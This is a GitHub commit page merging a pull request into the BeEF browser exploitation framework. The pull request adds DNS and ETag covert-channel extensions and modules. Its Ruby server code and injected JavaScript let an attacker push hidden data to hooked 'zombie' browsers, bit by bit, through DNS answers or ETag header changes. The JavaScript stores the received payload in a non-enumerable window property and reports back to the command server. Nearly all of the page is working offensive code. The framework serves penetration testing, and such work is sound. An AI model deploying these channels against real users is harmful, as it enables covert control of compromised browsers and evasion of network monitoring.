Merge pull request #1066 from tsu-iscd/master

Added DNS and ETag covert channels
This commit is contained in:
Michele Orru
2014-11-08 13:38:02 +01:00
19 changed files with 734 additions and 0 deletions

28
extensions/etag/api.rb Normal file
View File

@@ -0,0 +1,28 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
module API
module ETagHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::ETag::API::ETagHandler,
BeEF::API::Server,
'mount_handler'
)
def self.mount_handler(beef_server)
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
print_info "ETag Server: /etag"
end
end
end
end
end
end

View File

@@ -0,0 +1,11 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
etag:
enable: false
name: 'Server-to-Client Etag Tunnel'
authors: ["ovbroslavsky","neoleksov"]

63
extensions/etag/etag.rb Normal file
View File

@@ -0,0 +1,63 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
require 'sinatra/base'
require 'singleton'
class ETagMessages
include Singleton
attr_accessor :messages
def initialize()
@messages={}
end
end
class ETagWebServer < Sinatra::Base
def create_ET_header
inode = File.stat(__FILE__).ino
size = 3
mtime = (Time.now.to_f * 1000000).to_i
return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
end
get '/:id/start' do
data = ETagMessages.instance.messages[params[:id].to_i]
$etag_server_state = {} unless defined?($etag_server_state)
$etag_server_state[params[:id]] = {}
$etag_server_state[params[:id]][:cur_bit] = -1
$etag_server_state[params[:id]][:last_header] = create_ET_header
$etag_server_state[params[:id]][:message] = data
headers "ETag" => $etag_server_state[params[:id]][:last_header]
body "Message start"
end
get '/:id' do
return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
$etag_server_state[params[:id]][:cur_bit] += 1
else
$etag_server_state.delete(params[:id])
status 404
return "Bing"
end
if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
$etag_server_state[params[:id]][:last_header] = create_ET_header
end
headers "ETag" => $etag_server_state[params[:id]][:last_header]
body "Bit"
end
end
end
end
end

View File

@@ -0,0 +1,23 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
extend BeEF::API::Extension
@short_name = 'ETag'
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
@description = 'This extension provides a custom BeEF\'s HTTP server ' +
'that implement unidirectional covert timing channel from ' +
'BeEF communication server to zombie browser over Etag header'
end
end
end
require 'extensions/etag/api.rb'
require 'extensions/etag/etag.rb'

View File

@@ -0,0 +1,56 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ServerClientDnsTunnel
module API
module ServerClientDnsTunnelHandler
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'pre_http_start' )
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'mount_handler' )
# Starts the S2C DNS Tunnel server at BeEF startup.
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
def self.pre_http_start(http_hook_server)
configuration = BeEF::Core::Configuration.instance
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
raise ArgumentError,'zone name is undefined' unless zone.to_s != ""
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty?
port = 53
protocol = :udp
interfaces = [[protocol, listen, port]]
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
dns.run(:listen => interfaces, :zone => zone)
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
info = ''
info += "Zone: " + zone + "\n"
print_more info
end
# Mounts the handler for processing HTTP image requests.
# @param beef_server [BeEF::Core::Server] HTTP server instance
def self.mount_handler(beef_server)
configuration = BeEF::Core::Configuration.instance
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
end
end
end
end
end
end

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
s2c_dns_tunnel:
enable: false
name: 'Server-to-Client DNS Tunnel'
authors: ['dnkolegov','afr1ka']
# Define which network interface DNS server should listen. IP-address of this interface will be used in DNS answers.
# By default, DNS server will be started on the interface which has a highest IP-address and will listen UDP 53 port only.
# listen: ''
# Zone managed by DNS server. DNS server will not be started if zone is not specified
zone: ''

View File

@@ -0,0 +1,118 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ServerClientDnsTunnel
class RubyDNS::Transaction
def fail!(rcode,domain)
append_question!
if rcode.kind_of? Symbol
@answer.rcode = Resolv::DNS::RCode.const_get(rcode)
else
@answer.rcode = rcode.to_i
end
if rcode == :NXDomain
@answer.aa = 1
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain),
Resolv::DNS::Name.create("hostmaster." + domain),
Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800
)
@answer.add_authority(name,3600,soa)
end
end
end
class Server < RubyDNS::Server
include Singleton
attr_accessor :messages
def initialize()
super()
@lock = Mutex.new
end
# Starts the custom DNS server.
#
# @param options [Hash] server configuration options
# @option options [Array<Array>] :zone - zone manged by BeEF DNS server for data exfiltration
# @option options [Array<Array>] :listen - local interfaces to listen on
def run(options = {})
@lock.synchronize do
Thread.new do
EventMachine.next_tick do
listen = options[:listen] || nil
super(:listen => listen)
@selfip = options[:listen][0][1]
@zone = options[:zone]
@messages = {}
end
end
end
end
# Entry point for processing incoming DNS requests.
#
# @param name [String] name of the resource record being looked up
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
def process(name,resource,transaction)
@lock.synchronize do
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
if format_resource(resource) != 'A' or not name.match(/#{@zone}$/)
transaction.fail!(:Refused,@zone)
return
end
# Parce query name in accordance with Active Directory SRV resource records
cid = name.split('.')[2].split('-')[2].to_i
bit = name.split('.')[2].split('-')[3].to_i(16)
if @messages[cid] != nil
message = @messages[cid]
else
transaction.fail!(:NXDomain,@zone)
return
end
if message.length <= bit
transaction.fail!(:NXDomain,@zone)
return
end
# If the bit is equal to 1 we should return one of the BeEF's IP addresses
if message[bit] == '1'
transaction.respond!(@selfip)
return
# If the bit is equal to 0 we should return NXDomain message
elsif message[bit] == '0'
transaction.fail!(:NXDomain,@zone)
return
end
end
end
private
# Helper method that formats the given resource class in a human-readable format.
#
# @param resource [Resolv::DNS::Resource::IN] resource class
# @return [String] resource name stripped of any module/class names
def format_resource(resource)
/::(\w+)$/.match(resource.name)[1]
end
end
end
end
end

View File

@@ -0,0 +1,22 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ServerClientDnsTunnel
extend BeEF::API::Extension
@short_name = 'S2C DNS Tunnel'
@full_name = 'Server-to-Client DNS Tunnel'
@description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' +
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
end
end
end
require 'extensions/s2c_dns_tunnel/dnsd'
require 'extensions/s2c_dns_tunnel/api'
require 'extensions/s2c_dns_tunnel/httpd'

View File

@@ -0,0 +1,24 @@
module BeEF
module Extension
module ServerClientDnsTunnel
class Httpd < Sinatra::Base
def initialize(domain)
super()
@domain = domain
end
get "/map" do
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
path = File.dirname(__FILE__)
send_file File.join(path, 'pixel.jpg')
end
end
end
end
end
end
require 'sinatra/base'

Binary file not shown.

After

Width:  |  Height:  |  Size: 309 B

View File

@@ -0,0 +1,20 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
This JavaScript gets value of the specified variable that was set in another script via Window property.
*/
beef.execute(function() {
var payload = "<%= @payload_name %>";
var curl = "<%= @command_url %>";
var cid = "<%= @command_id %>";
console.log("The current value of " + payload + " is " + Window[payload]);
beef.net.send(curl, parseInt(cid),'get_variable=true');
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
test_get_variable:
enable: false
category: "Debug"
name: "Test JS variable passing"
description: "Test for JS variable passing from another BeEF's script via Window object"
authors: ["dnkolegov"]
target:
working: ["All"]

View File

@@ -0,0 +1,12 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Test_get_variable < BeEF::Core::Command
def self.options
return [{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'value' => 'message', 'width' => '400px'}]
end
end

View File

@@ -0,0 +1,86 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
//
beef.execute(function(){
var start_time = 0;
var origin = '';
var header = '';
var message = '';
var id = "<%= @command_id %>";
var curl = "<%= @command_url %>";
var payload_name = "<%= @payload_name %>";
function getHeader(url, mode)
{
var xhr = new XMLHttpRequest();
xhr.open('GET', url, mode);
xhr.send();
if (xhr.status == 404){
throw "message_end"
}
return xhr.getResponseHeader('ETag');
}
function start( origin, id )
{
start_time = (new Date()).getTime();
header = getHeader( origin + '/etag/' + id + '/start', false);
}
function decode( bin_message )
{
arr = [];
for( var i = 0; i < bin_message.length; i += 8 ) {
arr.push(bin_message.substr(i, 8));
}
var message = "";
for( i = 0; i < arr.length; i++ ){
message += String.fromCharCode(parseInt(arr[i],2));
}
return message;
}
function get_data( origin, id )
{
var interval = setInterval( function()
{
try{
newHeader = getHeader( origin + '/etag/' + id, false);
}
catch(e){
// The message is terminated so finish
clearInterval(interval);
final_message=decode( message );
delta = ((new Date()).getTime() - start_time)/1000;
bits_per_second = "" + message.length/delta;
//Save the message in the Window
if (window.hasOwnProperty(payload_name))
window[payload_name] = final_message
else
Object.defineProperty(window,payload_name, { value: final_message,
writable: true,
enumerable: false });
beef.net.send(curl, parseInt(id),'etag_tunnel=true' + '&bps=' + bits_per_second);
return;
}
if (newHeader!==header){
message = message + '1';
header = newHeader;
} else {
message = message + '0';
}
}, 100, header, message);
}
function get_message( origin, id )
{
setTimeout( start( origin, id ), 500 );
setTimeout( get_data( origin, id ), 500) ;
}
get_message( origin, id );
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
etag_client:
enable: true
category: "IPEC"
name: "ETag Tunnel: Server-to-Client"
description: "This module sends data from server to client using ETag HTTP header.<br/><br/>A payload name and message are taken as input. The structure of ETag header isn't modified. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/> Note: To use this feature you should enable ETag extension."
authors: ["dnkolegov,ovbroslavsky,neoleksov"]
target:
working: "All"

View File

@@ -0,0 +1,39 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Etag_client < BeEF::Core::Command
def self.options
return [
{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'etagTunnelPayload'},
{'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea',
'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' +
'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' +
'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' +
'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat '+
'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',
'width' => '400px', 'height' => '100px'
}]
end
def pre_send
# gets the value configured in the module configuration by the user
@configuration = BeEF::Core::Configuration.instance
enable = @configuration.get("beef.extension.etag.enable");
raise ArgumentError,'etag extension is disabled' if enable != true
@datastore.each do |input|
if input['name'] == "data"
@data = input['value']
end
end
BeEF::Extension::ETag::ETagMessages.instance.messages.store(@command_id.to_i, @data.unpack("B*")[0])
end
def post_execute
# gets the value of command_id from BeEF database and delete the message from Etag webserver "database"
cid = @datastore['cid'].to_i
BeEF::Extension::ETag::ETagMessages.instance.messages.delete(cid)
end
end

View File

@@ -0,0 +1,123 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
This JavaScript retreives data from a server via DNS covert channel.
A remote controlled domain with a custom DNS server implementing covert channel logic is required.
BeEF supports this feature via Server-to-Client DNS Tunnel extension.
The initial concept of the DNS covert channell and its implementation are described in the following literature:
- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf
- W. Alkorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091
*/
beef.execute(function() {
var payload_name = "<%= @payload_name %>";
var domain = "<%= @zone %>";
var scheme = beef.net.httpproto;
var port = beef.net.port;
var cid = "<%= @command_id %>";
var curl = "<%= @command_url %>";
var messages = new Array();
var bits = new Array();
var bit_transfered = new Array();
var timing = new Array();
// Do the DNS query by reqeusting an image
send_query = function(fqdn, msg, byte, bit) {
var img = new Image;
var fport = "";
if (port !== "80") fport = ":"+port;
img.src = scheme+"://" + fqdn + fport + "/tiles/map";
img.onload = function() { // successful load so bit equals 1
bits[msg][bit] = 1;
bit_transfered[msg][byte]++;
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
}
img.onerror = function() { // unsuccessful load so bit equals 0
bits[msg][bit] = 0;
bit_transfered[msg][byte]++;
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
}
};
// Construct DNS names based on Active Directory SRV resource records pattern and resolv them via send_query function
// See http://technet.microsoft.com/en-us/library/cc961719.aspx
function get_byte(msg, byte) {
bit_transfered[msg][byte] = 0;
var rnd8 = getRandomStr(8);
var rnd12 = getRandomStr(12);
// Request the byte one bit at a time
for(var bit=byte*8; bit < (byte*8)+8; bit++){
// Set the message number (hex)
msg_str = ("" + msg.toString(16)).substr(-8);
// Set the bit number (hex)
bit_str = ("" + bit.toString(16)).substr(-8);
// Build the subdomain
subdomain = "_ldap._tcp." + rnd8 + "-" + msg_str + "-" + cid + "-" + bit_str + "-" + rnd12;
// Build the full domain
name = subdomain + '.domains._msdcs.'+ domain;
send_query(name, msg, byte, bit)
}
}
// Construct random sring
function getRandomStr(n){
return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12)));
}
// Build the environment and request the message
function get_message(msg) {
// Set variables for getting a message
messages[msg] = "";
bits[msg] = new Array();
bit_transfered[msg] = new Array();
timing[msg] = (new Date()).getTime();
get_byte(msg, 0);
}
// Build the data returned from the binary results
function reconstruct_byte(msg, byte){
var char = 0;
// Build the last byte requested
for(var bit=byte*8; bit < (byte*8)+8; bit++){
char <<= 1;
char += bits[msg][bit] ;
}
// Message is terminated with a null byte (all failed DNS requests)
if (char != 0) {
// The message isn't terminated so get the next byte
messages[msg] += String.fromCharCode(char);
get_byte(msg, byte+1);
}
else {
// The message is terminated so finish
delta = ((new Date()).getTime() - timing[msg])/1000;
bytes_per_second = "" +
((messages[msg].length + 1) * 8)/delta;
// Save the message in the Window
if (window.hasOwnProperty(payload_name))
window[payload_name] = messages[msg]
else
Object.defineProperty(window,payload_name, { value: messages[msg],
writable: true,
enumerable: false });
beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second);
}
}
get_message(0);
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
s2c_dns_tunnel:
enable: true
category: "IPEC"
name: "DNS Tunnel: Server-to-Client"
description: "This module retreives data sending by server over DNS covert channel (DNS tunnel).<br/><br/> A payload name and message are taken as input. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/>Note: To use this feature you should enable S2C DNS Tunnel extension."
authors: ["dnkolegov"]
target:
working: "All"

View File

@@ -0,0 +1,48 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class S2c_dns_tunnel < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
zone = @configuration.get("beef.extension.s2c_dns_tunnel.zone");
return [
{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'dnsTunnelPayload'},
{'name' => 'zone', 'ui_label'=>'Zone', 'type' => 'hidden', 'width' => '400px', 'value' => zone},
{'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea',
'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' +
'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' +
'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' +
'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat ' +
'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',
'width' => '400px', 'height' => '100px'}
]
end
def pre_send
@configuration = BeEF::Core::Configuration.instance
enable = @configuration.get("beef.extension.s2c_dns_tunnel.enable");
raise ArgumentError,'s2c_dns_tunnel extension is disabled' if enable != true
# gets the value configured in the module configuration by the user
@datastore.each do |input|
if input['name'] == "data"
@data = input['value']
end
end
BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.store(@command_id.to_i ,@data.unpack("B*")[0])
end
def post_execute
# gets the value of command_id from BeEF database and delete the message from DNS "database"
cid = @datastore['cid'].to_i
BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.delete(cid)
end
end